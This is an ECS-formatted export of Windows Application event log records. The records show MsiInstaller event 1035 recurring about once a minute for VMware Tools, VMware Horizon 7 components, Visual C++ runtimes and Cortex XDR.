{"@timestamp":1657391590771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169746}}
{"@timestamp":1657391590811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169747}}
{"@timestamp":1657391590841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169748}}
{"@timestamp":1657391590871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169749}}
{"@timestamp":1657391590898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169750}}
{"@timestamp":1657391590925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169751}}
{"@timestamp":1657391590962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169752}}
{"@timestamp":1657391590989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169753}}
{"@timestamp":1657391650753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169754}}
{"@timestamp":1657391650781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169755}}
{"@timestamp":1657391650831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169756}}
{"@timestamp":1657391650870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169757}}
{"@timestamp":1657391650898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169758}}
{"@timestamp":1657391650928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169759}}
{"@timestamp":1657391650955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169760}}
{"@timestamp":1657391650982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169761}}
{"@timestamp":1657391651018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169762}}
{"@timestamp":1657391651045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169763}}
{"@timestamp":1657391710581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169764}}
{"@timestamp":1657391710608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169765}}
{"@timestamp":1657391710658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169766}}
{"@timestamp":1657391710697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169767}}
{"@timestamp":1657391710726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169768}}
{"@timestamp":1657391710757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169769}}
{"@timestamp":1657391710784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169770}}
{"@timestamp":1657391710809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169771}}
{"@timestamp":1657391710845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169772}}
{"@timestamp":1657391710871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169773}}
{"@timestamp":1657391770623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169774}}
{"@timestamp":1657391770651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169775}}
{"@timestamp":1657391770702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169776}}
{"@timestamp":1657391770741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169777}}
{"@timestamp":1657391770770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169778}}
{"@timestamp":1657391770801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169779}}
{"@timestamp":1657391770827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169780}}
{"@timestamp":1657391770854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169781}}
{"@timestamp":1657391770891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169782}}
{"@timestamp":1657391770919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169783}}
{"@timestamp":1657391831230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169784}}
{"@timestamp":1657391831255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169785}}
{"@timestamp":1657391831304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169786}}
{"@timestamp":1657391831344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169787}}
{"@timestamp":1657391831373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169788}}
{"@timestamp":1657391831403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169789}}
{"@timestamp":1657391831430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169790}}
{"@timestamp":1657391831457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169791}}
{"@timestamp":1657391831493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169792}}
{"@timestamp":1657391831520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169793}}
{"@timestamp":1657391892134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169794}}
{"@timestamp":1657391892161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169795}}
{"@timestamp":1657391892213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169796}}
{"@timestamp":1657391892253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169797}}
{"@timestamp":1657391892281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169798}}
{"@timestamp":1657391892314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169799}}
{"@timestamp":1657391892342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169800}}
{"@timestamp":1657391892370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169801}}
{"@timestamp":1657391892410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169802}}
{"@timestamp":1657391892439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169803}}
{"@timestamp":1657391950674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169804}}
{"@timestamp":1657391950702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169805}}
{"@timestamp":1657391950752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169806}}
{"@timestamp":1657391950793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169807}}
{"@timestamp":1657391950821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169808}}
{"@timestamp":1657391950854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169809}}
{"@timestamp":1657391950881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169810}}
{"@timestamp":1657391950906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169811}}
{"@timestamp":1657391950942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169812}}
